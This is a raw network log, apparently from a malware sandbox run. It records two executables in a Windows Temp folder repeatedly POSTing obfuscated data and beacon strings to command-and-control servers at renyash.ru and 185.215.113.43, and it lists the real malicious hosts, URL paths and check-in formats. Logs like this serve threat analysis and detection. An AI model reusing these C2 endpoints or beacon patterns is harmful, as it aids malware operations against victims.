Dec 16, 2024 13:18:41.947081089 CET	801	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GYkreOw1PoHy40uFpF1mCR4jC4djN3YT3ZY82DIW5cYg9icLw4zkfoRo9LrMlCQ3UWWQnzqGrTHPnYiSHruwtanBXUNGgUQSiW0fufyToVwTdxzRL5783ziGS8yzOQAwpXwOE%2Flu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e11aeb44398-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7087&min_rtt=1629&rtt_var=11528&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=32229&cwnd=229&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.8	50360	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:42.207231045 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1916 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:42.567178011 CET	1916	OUT	Data Raw: 5d 52 43 55 59 5d 54 52 5d 5a 59 53 57 52 5a 55 5a 51 5f 54 51 58 52 41 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]RCUY]TR]ZYSWRZUZQ_TQXRAXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#?>T./]3'+] )4_::+(2%.[#Q,>8"F"#Y
Dec 16, 2024 13:18:43.293752909 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:43.536142111 CET	953	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I4A5KARPM3MxPeIX10UCMJX6KBI7Z%2F1sXs%2FdYrOSXYMdq6IRAGZRXNCZSLqEnQO2qi78dNBAnCtrO6xbHpf7zY2vB8R4WVu0knAMcpXyziGrC8011v5jcz9Ldo1KuBggw7b4Vjr%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e1ba92278db-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3616&min_rtt=1917&rtt_var=4117&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2259&delivery_rate=94132&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 39 51 27 5b 36 5a 20 2e 33 56 2b 2c 30 1e 27 0d 3e 01 2f 3f 0d 1d 31 33 3e 5b 25 0c 08 07 31 1a 01 14 20 0f 01 0f 33 0f 20 53 32 37 23 5d 01 1b 27 06 33 00 36 1b 29 3f 31 01 30 09 2d 1a 26 58 3c 19 27 24 02 52 31 0a 3f 52 21 06 08 5d 2f 22 22 58 2b 01 38 00 2d 23 39 5c 37 04 21 52 0d 13 22 51 24 06 32 5b 24 22 3c 01 20 23 38 03 22 1a 33 50 24 12 27 19 31 39 27 05 27 01 39 00 25 01 20 04 3d 28 29 0f 37 21 3c 56 2b 14 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 989Q'[6Z .3V+,0'>/?13>[%1 3 S27#]'36)?10-&X<'$R1?R!]/""X+8-#9\7!R"Q$2[$"< #8"3P$'19''9% =()7!<V+ R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.8	50359	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:42.207305908 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:42.567118883 CET	1060	OUT	Data Raw: 58 5a 43 50 59 5c 51 5d 5d 5a 59 53 57 5f 5a 57 5a 51 5f 5f 51 5b 52 45 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XZCPY\Q]]ZYSW_ZWZQ__Q[REXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ [+Y">800?%.<#,)4? 1"1=.=^#',="F"#Y 4
Dec 16, 2024 13:18:43.292897940 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:43.532613039 CET	805	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6sdcHaAuVLmpV3gcJhapEvu3UXYbLss3oMROmiVPnxQGDzDgntzoXuz6j0qDpM2GLNbCvCpsJDYK37fIFVN%2Bs7bLbmERle3PAb%2BpgO2HjgJyeuG3%2FRVA0oOtAd3C1W7hL4n%2BBy2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e1b9b02f02d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3751&min_rtt=1960&rtt_var=4317&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=89636&cwnd=76&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.8	50363	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:42.710411072 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 13:18:44.049199104 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.8	50366	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:43.787806988 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:18:44.143040895 CET	1060	OUT	Data Raw: 58 57 46 57 5c 5d 54 53 5d 5a 59 53 57 5d 5a 53 5a 5f 5f 55 51 53 52 48 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XWFW\]TS]ZYSW]ZSZ__UQSRHXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ Z?.)830Y$-Z#*'-(8#&!9)9 Q<(8"F"#Y <
Dec 16, 2024 13:18:44.872534990 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:45.126050949 CET	800	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S8PvYfdkRN%2Bcxx0bb5wOAo9oM3vMjvvFcy5VdGaW7zw5YxaAt0Wxdj3ch6b9i2YzjuLBMrNIW3133shvq31eMKK%2BDLT5zrsW4LdlHuAZ15rLguzj9RY%2BcEW6wl0luSBkx8OCA9PP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e257f044271-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7100&min_rtt=1606&rtt_var=11592&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=32042&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a Data Ascii: 4<R@X
Dec 16, 2024 13:18:45.317789078 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.8	50369	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:45.558981895 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:45.906264067 CET	1060	OUT	Data Raw: 58 5b 43 55 5c 5f 54 53 5d 5a 59 53 57 52 5a 52 5a 50 5f 59 51 59 52 48 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: X[CU\_TS]ZYSWRZRZP_YQYRHXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ (.*='^'073^4(]-)4?%1>R>: ';Y>8"F"#Y
Dec 16, 2024 13:18:46.644136906 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:46.882913113 CET	807	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1wfPDQpAHCt3KAM96grEtPqnDDBctk2J24BkQRgc0EqCbPDgwWUiXIi6LnPKT%2FWNVRR3vXisHiHg4mR5Is3HcdaJzscigIMmz0NZqb7aUD8bHXYxfOKpj0Hc8E2l88MmT%2B%2BXd3%2FO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e309e40439d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8321&min_rtt=1579&rtt_var=14077&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=26296&cwnd=200&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.8	50371	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:45.688478947 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 13:18:47.036878109 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.8	50372	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:47.122082949 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:47.467825890 CET	1060	OUT	Data Raw: 5d 50 43 50 5c 5c 51 5f 5d 5a 59 53 57 52 5a 52 5a 53 5f 5b 51 5e 52 40 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]PCP\\Q_]ZYSWRZRZS_[Q^R@XRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#+>)$V?$[<"::;X(&2&V)-5^ '+X>8"F"#Y
Dec 16, 2024 13:18:48.210206032 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:48.447839975 CET	806	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r4fbaovAni2S5QAzKwMwNNYOmxj1rCyCRjt7KPPMYe6eo49DVeh8I2svapG4pOKHk6gfwMb%2FLkHsSLqKNfRyzKo3dR9qaBHJvN0V%2BXcIvQRdazhCZ%2Fr%2FrnQk2Q0KweM93YWG1gHU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e3a5fe080cd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4293&min_rtt=1918&rtt_var=5470&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=69779&cwnd=177&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.8	50377	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:48.690819979 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:49.045466900 CET	1060	OUT	Data Raw: 58 54 46 51 5c 58 54 59 5d 5a 59 53 57 5a 5a 56 5a 5e 5f 54 51 59 52 44 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XTFQ\XTY]ZYSWZZVZ^_TQYRDXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ )<!)3$Y3?#$_.?($"=>%^ $ "F"#Y
Dec 16, 2024 13:18:49.799387932 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:50.032588959 CET	810	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cKgixAOsK%2Bww2DPOx2eYPnDTo%2FABDIOq52YW%2BEeczcS3r0BKiEr1F0s7JW%2Fw7Je%2F5IBiIUftbfYyHvkX62WkfU2pqMKm9Wqs9QNA1nNW%2BJ5cf8QPLYRRka5Pt8hjpLMgXbXIvu15"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e44387f8cee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6376&min_rtt=2041&rtt_var=9436&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=39757&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.8	50378	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:48.818527937 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 13:18:50.150795937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.8	50380	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:50.284379959 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:18:50.643949986 CET	1060	OUT	Data Raw: 58 54 46 53 59 5e 51 5a 5d 5a 59 53 57 53 5a 50 5a 53 5f 58 51 58 52 47 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XTFSY^QZ]ZYSWSZPZS_XQXRGXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#+&=,'V#0.<7*49'+;%2.)=&4\)"F"#Y
Dec 16, 2024 13:18:51.369940042 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:51.611044884 CET	806	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IjQr2jbLBSZoywW82tW5PChKU5chvJWYY%2Fns2kDlI2%2FzW%2BFEEn1TbUkFgBuTiVDYQJYxUhG4ASgZkNxrtlKPNplZmyyeiNorN%2FtR3GzYLSQMmHTTgvxKOghB8Ex66H4PpMW3HDYs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e4e1fd5f791-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3571&min_rtt=1599&rtt_var=4545&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=83999&cwnd=134&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.8	50384	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:51.794362068 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 13:18:53.161225080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.8	50385	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:51.871767044 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:52.224455118 CET	1056	OUT	Data Raw: 5d 51 43 5c 5c 58 51 5d 5d 5a 59 53 57 5b 5a 5f 5a 57 5f 59 51 5d 52 41 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]QC\\XQ]]ZYSW[Z_ZW_YQ]RAXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ (/)>#$(', 9 ^:+X++P&">=& ?X)"F"#Y
Dec 16, 2024 13:18:52.959429979 CET	25	IN	HTTP/1.1 100 Continue
